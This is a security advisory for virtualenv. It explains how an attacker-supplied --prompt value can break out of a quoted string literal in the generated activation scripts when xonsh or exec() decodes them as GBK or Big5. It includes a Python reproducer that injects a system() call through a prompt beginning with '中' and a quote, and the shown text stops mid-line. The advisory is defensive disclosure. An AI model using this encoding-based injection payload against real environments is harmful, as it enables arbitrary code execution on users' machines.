virtualenv: Xonsh activation literals depend on the script decoding codec

## Summary Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. ## Affected area Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py), [UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py). ## Mechanism The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal. ## Reproduction and evidence The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path` controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. [PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to `ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt. The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSH_ENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSH_ENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree work = Path("/tmp/activate-this-gbk") rmtree(work, ignore_errors=True) work.mkdir() env_dir = work / "venv" marker = work / "MARKER" # set up: a zh_CN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True) utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")} # attacker: text that a tool relays as --prompt # the payload's " makes repr() delimit with ' and write the prompt's own ' as \' # 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'__import__("os").system("touch {marker}")' hostile_prompt = "中" + "';" + payload + "#" # user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True) activate_this = (env_dir / "bin" / "activate_this.py").read_bytes() prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]')) print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}") print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}") assert not marker.exists(), "payload ran at creation time" # trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir] control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True) ran_in_utf8_session = marker.exists() print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}") observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True) ran_in_gbk_session = marker.exists() print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}") # check: the prompt is data and must not run in either session print("BUG" if ran_in_gbk_se…